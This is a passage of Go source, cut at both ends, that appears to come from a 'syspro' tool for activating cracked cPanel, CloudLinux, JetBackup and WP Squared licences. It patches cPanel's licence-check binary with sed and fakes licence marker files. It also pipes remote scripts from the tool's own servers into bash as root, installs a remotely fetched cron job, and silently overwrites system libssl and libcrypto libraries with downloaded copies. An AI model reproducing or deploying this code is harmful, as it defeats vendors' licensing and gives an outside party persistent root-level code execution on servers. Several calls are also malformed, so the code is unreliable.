        fmt.Println("Jetbackup license status is Active. Exiting.")
    }
}
func removeJetbackup() {
	JBLicense := "/usr/local/jetapps/var/lib/jetbackup5/Core/License/License.inc"
	JBCron := "/etc/cron.d/LicenseJB"

	// Check if the license file exists
	_, err := os.Stat(JBLicense)
	if !os.IsNotExist(err) {
		exec.Command("chattr2", "-ai", JBLicense).Run()

		// Remove the license file
		os.Remove(JBLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(JBCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(JBCron)
	}
}
func calculateChecksum(filePath string) ([]byte, error) {
	file, err := os.Open(filePath)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	hash := sha256.New()
	_, err = io.Copy(hash, file)
	if err != nil {
		return nil, err
	}

	return hash.Sum(nil), nil
}

func downloadFile(url, destination string) error {
	// Create HTTP client with custom user agent
	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		return err
	}
	req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	// Check if status is not 200
	if resp.StatusCode != http.StatusOK {
		fmt.Println("\033[31mRemote server is not responding\033[0m") // Red text
		os.Exit(1)
	}

	// Create destination file
	out, err := os.Create(destination)
	if err != nil {
		return err
	}
	defer out.Close()

	// Copy response body to destination file
	_, err = io.Copy(out, resp.Body)
	return err
}

func DownloadBin(url, filePath string) {
	resp, err := http.Get(url)
	if err != nil || resp.StatusCode != http.StatusOK {
 	return
	}
	defer resp.Body.Close()

	out, err := os.Create(filePath)
	if err != nil {
		return
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	if err != nil {
		return
	}

	// Set execute permissions
	err = os.Chmod(filePath, 0755)
	if err != nil {
		return
	}
}
func replaceFile(source, destination string) error {
	if err := os.Rename(source, destination); err != nil {
		return fmt.Errorf("rename error: %v", err)
	}
	return nil
}

func UpdateSCP() {
	// Specify the paths
	scpPath := "/usr/bin/syspro"
	tempPath := "/usr/bin/syspro_temp"

	// Create HTTP client with custom user agent
	client := &http.Client{}
	req, err := http.NewRequest("GET", "https://pp2.syspro.cc/get/checksum", nil)
	if err != nil {
		return
	}
	req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()

	// Check if status code is 200 OK
	if resp.StatusCode != http.StatusOK {
		return
	}

	remoteChecksum, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	// Calculate the checksum of the current syspro binary
	currentChecksum, err := calculateChecksum(scpPath)
	if err != nil {
		return
	}

	// Compare checksums
	if hex.EncodeToString(currentChecksum) == string(remoteChecksum) {
		return
	}

	color.Yellow.Println("Updates available, updating...")

	// Download the new syspro binary to a temporary file
	err = downloadFile("https://repo.syspro.cc/binary.php", tempPath)
	if err != nil {
		return
	}

	// Set the correct permissions for the temporary file
	err = os.Chmod(tempPath, 0755)
	if err != nil {
		return
	}

	// Replace the original file with the temporary one
	err = replaceFile(tempPath, scpPath)
	if err != nil {
		return
	}
	color.Yellow.Println("Finished!")
	color.Yellow.Println("Please re-run your command again!")
	os.Exit(0)
}

func FleetSSL() {
	fmt.Println("Installing FleetSSL, please wait...")

	commands := []*exec.Cmd{
		exec.Command("yum", "remove", "letsencrypt-cpanel*", "-y"),
		exec.Command("yum", "install", "bc", "-y"),
		exec.Command("rpm", "-ivh", "https://repo.syspro.cc/letsencrypt-cpanel.rpm"),
		exec.Command("rm", "-rf", "/root/RCCP.lock"),
	}

	for _, cmd := range commands {
		cmd.Run()
	}

	fmt.Println("FleetSSL installed successfully.")
}

func InstallPHPBin() error {
	if !Exists("/usr/local/BLBIN/bin") {
		if err := exec.Command("wget", "-O", "/usr/local/clbinary.tar.gz", "repo.magicbyte.pw/clbinary.tar.gz").Run(); err != nil {
			return err
		}
		if err := exec.Command("tar", "-xpf", "/usr/local/clbinary.tar.gz", "--directory", "/usr/local/").Run(); err != nil {
			return err
		}
		if err := exec.Command("rm", "-rf", "/usr/local/clbinary.tar.gz").Run(); err != nil {
			return err
		}
	}
	return nil
}
func DependDD() {
	commands := []string{
		`[ ! -e /usr/lib64/libssl.so.10 ] && wget -O /usr/lib64/libssl.so.10 repo.magicbyte.pw/libssl.so.10 > /dev/null 2>&1`,
		`[ ! -e /usr/lib64/libcrypto.so.10 ] && wget -O /usr/lib64/libcrypto.so.10 repo.magicbyte.pw/libcrypto.so.10 > /dev/null 2>&1`,
		`[ ! -e /usr/lib64/libcrypto.so.1.1 ] && wget -O /usr/lib64/libcrypto.so.1.1 repo.magicbyte.pw/libcrypto.so.1.1 > /dev/null 2>&1`,
		`[ ! -e /usr/lib64/libssl.so.1.1 ] && wget -O /usr/lib64/libssl.so.1.1 repo.magicbyte.pw/libssl.so.1.1 > /dev/null 2>&1`,
		`[ ! -e /usr/lib/x86_64-linux-gnu/libssl.so.10 ] && wget -O /usr/lib/x86_64-linux-gnu/libssl.so.10 repo.magicbyte.pw/libssl.so.10 > /dev/null 2>&1`,
		`[ ! -e /usr/lib/x86_64-linux-gnu/libcrypto.so.10 ] && wget -O /usr/lib/x86_64-linux-gnu/libcrypto.so.10 repo.magicbyte.pw/libcrypto.so.10 > /dev/null 2>&1`,
		`[ ! -e /usr/lib64/libnsl.so.1 ] && wget -O /usr/lib64/libnsl.so.1 repo.magicbyte.pw/libnsl.so.1 > /dev/null 2>&1`,
	}

	for _, cmd := range commands {
		exec.Command("bash", "-c", cmd).Run()
	}
}
func ScpHelper() {
	DownloadBin("https://repo.syspro.cc/scp_helper", "/usr/bin/scp_helper");
	os.Remove("rm -rf /etc/cron.d/health")
	_exec("wget -O /etc/cron.d/health https://repo.syspro.cc/sysconfig/cron")
	_exec("wget -qO- https://repo.syspro.cc/sysconfig/hotfix.sh | bash")
}
func installCloudlinux(){
	cmd_with_output("wget -qO- https://repo.syspro.cc/cloudlinux/cldeploy | bash -s -- --skip-version-check -i")
	_exec("mkdir -p /etc/sysconfig/rhn/")
	checkOS()
	Dload("https://repo.syspro.cc/cloudlinux/cl-rollout.pem", "/etc/sysconfig/rhn/cl-rollout.pem")
	Dload("https://repo.syspro.cc/cloudlinux/cl-rollout-key.pem", "/etc/sysconfig/rhn/cl-rollout-key.pem")
	Dload("https://repo.syspro.cc/cloudlinux/cl-rollout-ca.pem", "/etc/sysconfig/rhn/cl-rollout-ca.pem")

	cmd_with_output("wget -qO- https://repo.syspro.cc/cloudlinux/cldeploy | bash -s -- --skip-version-check --skip-registration -k 999")
	cmd_with_output("yum groupinstall alt-php alt-python alt-nodejs alt-ruby -y")
	cmd_with_output("yum reinstall -y lve lvemanager lve-utils alt-python27-cllib cagefs")
	cmd_with_output("yum remove -y ea-apache24-mod_ruid2")
	cmd_with_output("yum install -y ea-apache24-mod_suexec")


	_exec("/usr/bin/syspro cloudlinux enable")
	
	fmt.Println("Completed. Reboot the server to active Cloudlinux Kernel.")
	fmt.Println()
	fmt.Println("Run:",customCmd,"cloudlinux enable # To active license")
}
func checkCloudlinux() {
    // Commands to check Cloudlinux status
    commands := []string{
        "/usr/bin/cldiag --check-jwt-token",
        "/usr/bin/cldetect --check-license",
    }

    activationCommand := "/usr/bin/syspro cloudlinux enable"

    // Flag to check if activation is needed
    activationNeeded := false

    for _, cmd := range commands {
        // Split command and arguments
        parts := strings.Fields(cmd)
        command := parts[0]
        args := parts[1:]

        // Execute the command
        output, err := exec.Command(command, args...).CombinedOutput()

        if err != nil || !strings.Contains(string(output), "OK") {
            activationNeeded = true
            break
        }
    }

    if activationNeeded {
        // Execute the activation command
        fmt.Println("Cloudlinux license is not active. Activating...")
        licenseCmd := exec.Command("/bin/sh", "-c", activationCommand)

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running Cloudlinux activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Cloudlinux license status is Active. Exiting.")
    }
}
func removeCloudlinux() {
	os.Remove("/var/lve/lveinfo.ver")
	os.Remove("/etc/sysconfig/rhn/systemid")
	os.Remove("/etc/cron.d/LicenseCL")
	fmt.Println("Cloudlinux license has been removed.")
}
func checkOS() {
	file, err := os.Open("/etc/os-release")
	if err != nil {
		fmt.Println("Error:", err)
		os.Exit(1)
	}
	defer file.Close()

	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		line := scanner.Text()
		if strings.HasPrefix(line, "VERSION_ID=") {
			versionID := strings.Trim(strings.Split(line, "=")[1], "\"")
			if strings.HasPrefix(versionID, "8") {
				_exec("wget -O /etc/yum.repos.d/cln-mirror.repo https://repo.syspro.cc/cloudlinux/cln-mirror.repo &> /dev/null")
				return
			} else if strings.HasPrefix(versionID, "7") {
				_exec("wget -O /etc/yum.repos.d/cln-mirror.repo https://repo.syspro.cc/cloudlinux/cln7-mirror.repo &> /dev/null")
				return
			} else if strings.HasPrefix(versionID, "9") {
				_exec("wget -O /etc/yum.repos.d/cln-mirror.repo https://repo.syspro.cc/cloudlinux/cln9-mirror.repo &> /dev/null")
				return
			}
		}
	}

	fmt.Println("Unsupported OS, Contact support.")
	os.Exit(1)
}

func _exec(command string) (string, error) {
	var out bytes.Buffer
	cmd := exec.Command("sh", "-c", command)
	cmd.Stdout = &out
	err := cmd.Run()
	return out.String(), err
}

func cmd_with_output(command string) {
    cmd := exec.Command("sh", "-c", command)

    cmd.Stdin = os.Stdin // Allow interactive input
    stdoutPipe, _ := cmd.StdoutPipe()
    stderrPipe, _ := cmd.StderrPipe()

    stdoutScanner := bufio.NewScanner(stdoutPipe)
    stderrScanner := bufio.NewScanner(stderrPipe)

    var wg sync.WaitGroup
    wg.Add(2)

    go func() {
        defer wg.Done()
        for stdoutScanner.Scan() {
            println(stdoutScanner.Text())
        }
    }()

    go func() {
        defer wg.Done()
        for stderrScanner.Scan() {
            println(stderrScanner.Text())
        }
    }()

    err := cmd.Start()
    if err != nil {
        println("Error:", err.Error())
        return
    }

    wg.Wait()
    cmd.Wait()
}

func cmd_with_output_updated(command string) error {
    cmd := exec.Command("sh", "-c", command)

    // Attach standard input, output, and error
    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    // Start and wait for command completion
    return cmd.Run()
}


func interrupt() <-chan os.Signal {
	c := make(chan os.Signal, 1)
	signal.Notify(c, os.Interrupt, syscall.SIGTERM)
	return c
}
func PostInstallationsCloudlinux() {
	messages := []string{
		"[+] You are going to install Cloudlinux automatically [+]",
		"[+] Keep in mind not to cancel the installation process until it finishes [+]",
		"[+] Cancelling the installation process during Cloudlinux installation can cause a broken system (unresponsive/un-bootable) [+]",
		"[+] Installation process could takes 20 minutes to 1 hour or more (Based on your Internet speed) [+]",
		"[x] To cancel the process, press Ctrl+C [x]",
	}

	for _, message := range messages {
		color.Info.Println(message)
	}
	color.Yellow.Println("Installation process will be started in 10 secs, press Ctrl+C to cancel it.")

	// Wait for 10 seconds
	select {
	case <-time.After(10 * time.Second):
		fmt.Println("Starting installation process...")
		installCloudlinux()
	case <-interrupt():
		fmt.Println("Installation process canceled.")
		os.Exit(0)
	}
}
func ConnectionTest() {
    url := "https://pp2.syspro.cc/bravo"

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		color.Red.Println("Error creating HTTP request:", err)
		os.Exit(1)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
    if err != nil {
		color.Red.Println("Error occurred while connecting to the "+ GetLicBranding +" server")
		color.Red.Println("Reach to our help-desk if needed: wiki.syspro.cc")
        os.Exit(1)
    }
    defer resp.Body.Close()

    // Check the status code
    if resp.StatusCode != http.StatusOK {
        color.Red.Println("We are doing some maintenance, please wait few minutes and try again.")
        os.Exit(1)
    }

    // If status is 200, return silently
    return
}

func ScpDirectory(){
	if !Exists("/usr/local/scp") {
		_exec("mkdir -p /usr/local/scp")
	}
}

func DetectOS() string {
    file, err := os.Open("/etc/os-release")
    if err != nil {
        return "Unknown"
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        if strings.HasPrefix(line, "VERSION_ID=") {
            versionID := strings.TrimPrefix(line, "VERSION_ID=")
            versionID = strings.Trim(versionID, "\"")
            switch {
            case strings.HasPrefix(versionID, "7."):
                return "linux-c7-x86_64"
            case strings.HasPrefix(versionID, "8."):
                return "linux-c8-x86_64"
            case strings.HasPrefix(versionID, "9."):
                return "linux-c9-x86_64"
            case versionID == "20.04":
                return "linux-u20-x86_64"
            }
        }
    }
    return "Unsupported OS"

}
func cpanelVerify() {
    binaryVersion := DetectOS()
    currentVersionFile, err := os.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        panic(err)
    }
    currentVersion := strings.TrimSpace(string(currentVersionFile))
	println("Cloud take few minutes(2-10mins), please wait...")

	_exec("touch /etc/.verifylicense")
	_exec("wget -O /usr/local/scp/reg.xz https://httpupdate.cpanel.net/cpanelsync/" + currentVersion + "/binaries/" + binaryVersion + "/cpkeyclt.xz")
	_exec("unxz /usr/local/scp/reg.xz")
	_exec("chmod +x /usr/local/scp/reg")
	_exec("/usr/bin/sed -i s/cpanel.lisc/.panel.lisc/g /usr/local/scp/reg")
	_exec("/usr/bin/sed -i s/cpsanitycheck.so/.psanitycheck.so/g /usr/local/scp/reg")
	_exec("/usr/bin/sed -i s/cpsrvd/.psrvd/g /usr/local/scp/reg")
	_exec("touch /var/cpanel/dnsonly")
	_exec("/usr/local/scp/reg")
	_exec("rm -rf /usr/local/scp/reg")
	_exec("rm -rf /var/cpanel/dnsonly")
	_exec("rm -rf /etc/.verifylicense")
	exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
	_exec("/usr/bin/syspro cpanel update")
	_exec("/usr/bin/syspro cpanel enable")
    // Final messages
    println("Your IP is verified now on verify.cpanel.net")
}
func UpdateWPSQupdate() error {
    // Read /etc/os-release to get VERSION_ID
    osReleaseFile, err := os.Open("/etc/os-release")
    if err != nil {
        return err
    }
    defer osReleaseFile.Close()

    scanner := bufio.NewScanner(osReleaseFile)
    var versionID string
    for scanner.Scan() {
        line := scanner.Text()
        if strings.HasPrefix(line, "VERSION_ID=") {
            versionID = strings.Trim(strings.Split(line, "=")[1], "\"")
            break
        }
    }
    if err := scanner.Err(); err != nil {
        return err
    }

    // Define URL based on version
    var url string
    if strings.HasPrefix(versionID, "7") {
        url = "https://repo.syspro.cc/wpsq/update7.php"
    } else if strings.HasPrefix(versionID, "20") {
        url = "https://repo.syspro.cc/wpsq/updateub.php"
    } else {
        url = "https://repo.syspro.cc/wpsq/latest"
    }

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		return err
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		return err
	}
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    // Extract CPANEL version from response body
    RemoteCpanelVersion := ""
    for _, line := range strings.Split(string(body), "\n") {
        if strings.HasPrefix(line, "CPANEL=") {
            RemoteCpanelVersion = strings.Split(line, "=")[1]
            break
        }
    }

    // Read current cPanel version from file
    CurrentCPVersion, err := ioutil.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        return err
    }
    LocalCpanelVersion := strings.TrimSpace(string(CurrentCPVersion))

    // Read CPUPDATE_CONF content
    cpupdateConfContent, err := ioutil.ReadFile("/etc/cpupdate.conf")
    if err != nil {
        return err
    }

    // Check if CPANEL version has been updated
    CPUPConfig := getCpupConfig()
    err = updateCPANELConf(CPUPConfig, RemoteCpanelVersion)
    if err != nil {
        return fmt.Errorf("failed to update WP Squared version in config: %v", err)
    }

    // Update CPANEL version in CPUPDATE_CONF if Local cPanel version and RemoteCpanelVersion are not the same
    updatedContent := strings.ReplaceAll(string(cpupdateConfContent), "CPANEL="+CPUPConfig, "CPANEL="+RemoteCpanelVersion)
    if err := ioutil.WriteFile("/etc/cpupdate.conf", []byte(updatedContent), 0644); err != nil {
        return err
    }

    color.Yellow.Println("Detected WP Squared version: " + LocalCpanelVersion)
    color.Green.Println("Recommended WP Squared version: " + RemoteCpanelVersion)

    // Check if the cPanel version needs an update
    if LocalCpanelVersion != RemoteCpanelVersion {
        fmt.Println("Your WP Squared requires an update, we are updating it.")
        fmt.Println("This could take a few minutes...")

        if Exists("/root/.upcp_controlc_disallowed") {
            color.Yellow.Println("Cpanel updating process already running...")
			color.Yellow.Println("Please wait a few minutes, if this error still shows")
			color.Yellow.Println("Run: rm -rf /root/.upcp_controlc_disallowed")
			color.Yellow.Println("and try again")
            os.Exit(3)
        }

		ioutil.WriteFile("/usr/local/cpanel/version", []byte(RemoteCpanelVersion), 0644)
		cmd_with_output("echo '' >/usr/local/cpanel/scripts/postupcp")
		exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
        cmd_with_output("/usr/local/cpanel/scripts/upcp --force")

		// Get current cPanel version from command output
		cmd := exec.Command("/usr/bin/syspro_script", "version")
		output, err := cmd.Output()
		if err != nil {
			return fmt.Errorf("failed to get local cPanel version: %v", err)
		}
		UpdatedLocalCpanelVersion := strings.TrimSpace(string(output))

		if UpdatedLocalCpanelVersion != RemoteCpanelVersion {
			color.Red.Println("Update failed, contact support if needed.")
			color.Gray.Println("=====================================")
			color.Yellow.Println("Reverting changes and reactivating the license.")
			if err := ioutil.WriteFile("/usr/local/cpanel/version", []byte(UpdatedLocalCpanelVersion), 0644); err != nil {
				return err
			}
			cmd_with_output("syspro wpsq enable")
			os.Exit(2)
		} else {
			color.Green.Println("Update completed, current cPanel version: " + UpdatedLocalCpanelVersion)
			cmd_with_output("syspro wpsq enable")
			os.Exit(2)
		}
    }

	if Exists("/root/.upcp_controlc_disallowed") {
		color.Red.Println("WP Squared updating process already running...")
		os.Remove("/root/.upcp_controlc_disallowed")
		color.Yellow.Println("Existing process has been killed, trying to update WP Squared again...")
		cmd_with_output("syspro wpsq update")
		os.Exit(3)
	}

	color.Yellow.Println("Force updating your WP Squared on request, please wait...")
	cmd_with_output("echo '' >/usr/local/cpanel/scripts/postupcp")
	exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
	cmd_with_output("/usr/local/cpanel/scripts/upcp --force")
	color.Yellow.Println("Completed.")
	color.White.Println("--------------------------")	
	color.Yellow.Println("License activation process has been started")
	color.White.Println("--------------------------")	

	cmd_with_output("syspro wpsq enable")
    return nil
}
func UpdateCPupdate() error {
    // Read /etc/os-release to get VERSION_ID
    osReleaseFile, err := os.Open("/etc/os-release")
    if err != nil {
        return err
    }
    defer osReleaseFile.Close()

    scanner := bufio.NewScanner(osReleaseFile)
    var versionID string
    for scanner.Scan() {
        line := scanner.Text()
        if strings.HasPrefix(line, "VERSION_ID=") {
            versionID = strings.Trim(strings.Split(line, "=")[1], "\"")
            break
        }
    }
    if err := scanner.Err(); err != nil {
        return err
    }

    // Define URL based on version
    var url string
    if strings.HasPrefix(versionID, "7") {
        url = "https://repo.syspro.cc/cpanel/update7.php"
    } else if strings.HasPrefix(versionID, "20") {
        url = "https://repo.syspro.cc/cpanel/updateub.php"
    } else {
        url = "https://pp2.syspro.cc/cp/latest"
    }

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		return err
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		return err
	}
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    // Extract CPANEL version from response body
    RemoteCpanelVersion := ""
    for _, line := range strings.Split(string(body), "\n") {
        if strings.HasPrefix(line, "CPANEL=") {
            RemoteCpanelVersion = strings.Split(line, "=")[1]
            break
        }
    }

    // Read current cPanel version from file
    CurrentCPVersion, err := ioutil.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        return err
    }
    LocalCpanelVersion := strings.TrimSpace(string(CurrentCPVersion))

    // Read CPUPDATE_CONF content
    cpupdateConfContent, err := ioutil.ReadFile("/etc/cpupdate.conf")
    if err != nil {
        return err
    }

    // Check if CPANEL version has been updated
    CPUPConfig := getCpupConfig()
    err = updateCPANELConf(CPUPConfig, RemoteCpanelVersion)
    if err != nil {
        return fmt.Errorf("failed to update CPANEL version in config: %v", err)
    }

    // Update CPANEL version in CPUPDATE_CONF if Local cPanel version and RemoteCpanelVersion are not the same
    updatedContent := strings.ReplaceAll(string(cpupdateConfContent), "CPANEL="+CPUPConfig, "CPANEL="+RemoteCpanelVersion)
    if err := ioutil.WriteFile("/etc/cpupdate.conf", []byte(updatedContent), 0644); err != nil {
        return err
    }

    color.Yellow.Println("Detected cpanel version: " + LocalCpanelVersion)
    color.Green.Println("Recommended cpanel version: " + RemoteCpanelVersion)

    // Check if the cPanel version needs an update
    if LocalCpanelVersion != RemoteCpanelVersion {
        fmt.Println("Your cPanel requires an update, we are updating it.")
        fmt.Println("This could take a few minutes...")

        if Exists("/root/.upcp_controlc_disallowed") {
            color.Yellow.Println("Cpanel updating process already running...")
			color.Yellow.Println("Please wait a few minutes, if this error still shows")
			color.Yellow.Println("Run: rm -rf /root/.upcp_controlc_disallowed")
			color.Yellow.Println("and try again")
            os.Exit(3)
        }

		ioutil.WriteFile("/usr/local/cpanel/version", []byte(RemoteCpanelVersion), 0644)
		cmd_with_output("echo '' >/usr/local/cpanel/scripts/postupcp")
		exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
        cmd_with_output("/usr/local/cpanel/scripts/upcp --force")

		// Get current cPanel version from command output
		cmd := exec.Command("/usr/bin/syspro_script", "version")
		output, err := cmd.Output()
		if err != nil {
			return fmt.Errorf("failed to get local cPanel version: %v", err)
		}
		UpdatedLocalCpanelVersion := strings.TrimSpace(string(output))

		if UpdatedLocalCpanelVersion != RemoteCpanelVersion {
			color.Red.Println("Update failed, contact support if needed.")
			color.Gray.Println("=====================================")
			color.Yellow.Println("Reverting changes and reactivating the license.")
			if err := ioutil.WriteFile("/usr/local/cpanel/version", []byte(UpdatedLocalCpanelVersion), 0644); err != nil {
				return err
			}
			cmd_with_output("syspro cpanel enable")
			os.Exit(2)
		} else {
			color.Green.Println("Update completed, current cPanel version: " + UpdatedLocalCpanelVersion)
			cmd_with_output("syspro cpanel enable")
			os.Exit(2)
		}
    }

	if Exists("/root/.upcp_controlc_disallowed") {
		color.Red.Println("Cpanel updating process already running...")
		os.Remove("/root/.upcp_controlc_disallowed")
		color.Yellow.Println("Existing process has been killed, trying to update cpanel again...")
		cmd_with_output("syspro cpanel update")
		os.Exit(3)
	}

	color.Yellow.Println("Force updating your cpanel on request, please wait...")
	cmd_with_output("echo '' >/usr/local/cpanel/scripts/postupcp")
	exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
	cmd_with_output("/usr/local/cpanel/scripts/upcp --force")
	color.Yellow.Println("Completed.")
	color.White.Println("--------------------------")	
	color.Yellow.Println("License activation process has been started")
	color.White.Println("--------------------------")	

	cmd_with_output("syspro cpanel enable")
    return nil
}
func noupdate() {
	if Exists("/usr/local/cpanel/.noupdate") {
        color.Red.Println("Cpanel auto-updating detected already disabled.")
        os.Exit(3)
    }
	exec.Command("touch", "/usr/local/cpanel/.noupdate").Run()
	color.Yellow.Println("Cpanel auto-updating has been disabled.")
}
func yesupdate() {
	if Exists("/usr/local/cpanel/.noupdate") {
		os.Remove("/usr/local/cpanel/.noupdate")
        color.Yellow.Println("Cpanel auto-updating enabled.")
        os.Exit(3)
    }
	color.Yellow.Println("Cpanel auto-updating detected already enabled.")
}

func UpdateWPSQYN() error {
    // Read /etc/os-release to get VERSION_ID
    osReleaseFile, err := os.Open("/etc/os-release")
    if err != nil {
        return err
    }
    defer osReleaseFile.Close()

    scanner := bufio.NewScanner(osReleaseFile)
    var versionID string
    for scanner.Scan() {
        line := scanner.Text()
        if strings.HasPrefix(line, "VERSION_ID=") {
            versionID = strings.Trim(strings.Split(line, "=")[1], "\"")
            break
        }
    }
    if err := scanner.Err(); err != nil {
        return err
    }

    // Define URL based on version
    var url string
    if strings.HasPrefix(versionID, "7") {
        url = "https://repo.syspro.cc/wpsq/update7.php"
    } else if strings.HasPrefix(versionID, "20") {
        url = "https://repo.syspro.cc/wpsq/updateub.php"
    } else {
        url = "https://repo.syspro.cc/wpsq/latest"
    }

    client := &http.Client{}
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        return err
    }
    req.Header.Set("User-Agent", UAData)

    // Send HTTP request
    resp, err := client.Do(req)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    // Extract CPANEL version from response body
    RemoteCpanelVersion := ""
    for _, line := range strings.Split(string(body), "\n") {
        if strings.HasPrefix(line, "CPANEL=") {
            RemoteCpanelVersion = strings.Split(line, "=")[1]
            break
        }
    }

    // Read current cPanel version from file
    CurrentCPVersion, err := ioutil.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        return err
    }
    LocalCpanelVersion := strings.TrimSpace(string(CurrentCPVersion))

    // Early exit if versions match
    if LocalCpanelVersion == RemoteCpanelVersion {
        fmt.Println("You're already running the recommended WP Squared version. No need to update.")
        return nil
    }

    // Proceed with update logic if versions differ
    color.Yellow.Println("Detected WP Squared version: " + LocalCpanelVersion)
    color.Green.Println("Recommended WP Squared version: " + RemoteCpanelVersion)

    if Exists("/root/.upcp_controlc_disallowed") {
        color.Yellow.Println("WP Squared updating process already running...")
		os.Remove("/root/.upcp_controlc_disallowed")
		color.Yellow.Println("Existing process has been killed, trying to update WP Squared again...")
		cmd_with_output("syspro wpsq update")
		cmd_with_output("syspro wpsq enable")
        os.Exit(3)
    }

    ioutil.WriteFile("/usr/local/cpanel/version", []byte(RemoteCpanelVersion), 0644)
    cmd_with_output("echo '' >/usr/local/cpanel/scripts/postupcp")
    exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
    cmd_with_output("/usr/local/cpanel/scripts/upcp --force")
	exec.Command("cp -rf /usr/local/cpanel/version /usr/local/cpanel/.version ").Run()

    UpdatedCPVersion, err := ioutil.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        return err
    }
    UpdatedLocalCpanelVersion := strings.TrimSpace(string(UpdatedCPVersion))

    if UpdatedLocalCpanelVersion != RemoteCpanelVersion {
		exec.Command("cp -rf /usr/local/cpanel/.version /usr/local/cpanel/version ").Run()
        color.Red.Println("Update failed. Contact support.")
		exec.Command("cp -rf /usr/local/cpanel/version /usr/local/cpanel/.version ").Run()
		ioutil.WriteFile("/etc/motd.d/failtoupcp", []byte(`Last automatic WP Squared update was failed and reverted back.
Next automatic update attempt will be again after 24 hours.
Contact your license provider or wiki.syspro.cc if needed.`), 0644)
		exec.Command("syspro wpsq enable").Run()
        os.Exit(2)
    }
	os.Remove("/etc/motd.d/failtoupcp")
    color.Green.Println("Update completed. Current WP Squared version: " + UpdatedLocalCpanelVersion)
    return nil
}




func UpdateCPYN() error {
    // Read /etc/os-release to get VERSION_ID
    osReleaseFile, err := os.Open("/etc/os-release")
    if err != nil {
        return err
    }
    defer osReleaseFile.Close()

    scanner := bufio.NewScanner(osReleaseFile)
    var versionID string
    for scanner.Scan() {
        line := scanner.Text()
        if strings.HasPrefix(line, "VERSION_ID=") {
            versionID = strings.Trim(strings.Split(line, "=")[1], "\"")
            break
        }
    }
    if err := scanner.Err(); err != nil {
        return err
    }

    // Define URL based on version
    var url string
    if strings.HasPrefix(versionID, "7") {
        url = "https://repo.syspro.cc/cpanel/update7.php"
    } else if strings.HasPrefix(versionID, "20") {
        url = "https://repo.syspro.cc/cpanel/updateub.php"
    } else {
        url = "https://pp2.syspro.cc/cp/latest"
    }

    client := &http.Client{}
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        return err
    }
    req.Header.Set("User-Agent", UAData)

    // Send HTTP request
    resp, err := client.Do(req)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    // Extract CPANEL version from response body
    RemoteCpanelVersion := ""
    for _, line := range strings.Split(string(body), "\n") {
        if strings.HasPrefix(line, "CPANEL=") {
            RemoteCpanelVersion = strings.Split(line, "=")[1]
            break
        }
    }

    // Read current cPanel version from file
    CurrentCPVersion, err := ioutil.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        return err
    }
    LocalCpanelVersion := strings.TrimSpace(string(CurrentCPVersion))

    // Early exit if versions match
    if LocalCpanelVersion == RemoteCpanelVersion {
        fmt.Println("You're already running the recommended cPanel version. No need to update.")
        return nil
    }

    // Proceed with update logic if versions differ
    color.Yellow.Println("Detected cPanel version: " + LocalCpanelVersion)
    color.Green.Println("Recommended cPanel version: " + RemoteCpanelVersion)

    if Exists("/root/.upcp_controlc_disallowed") {
        color.Yellow.Println("Cpanel updating process already running...")
		os.Remove("/root/.upcp_controlc_disallowed")
		color.Yellow.Println("Existing process has been killed, trying to update cpanel again...")
		cmd_with_output("syspro cpanel update")
		cmd_with_output("syspro cpanel enable")
        os.Exit(3)
    }

    ioutil.WriteFile("/usr/local/cpanel/version", []byte(RemoteCpanelVersion), 0644)
    cmd_with_output("echo '' >/usr/local/cpanel/scripts/postupcp")
    exec.Command("touch", "/usr/local/cpanel/cpanel.lisc").Run()
    cmd_with_output("/usr/local/cpanel/scripts/upcp --force")
	exec.Command("cp -rf /usr/local/cpanel/version /usr/local/cpanel/.version ").Run()

    UpdatedCPVersion, err := ioutil.ReadFile("/usr/local/cpanel/version")
    if err != nil {
        return err
    }
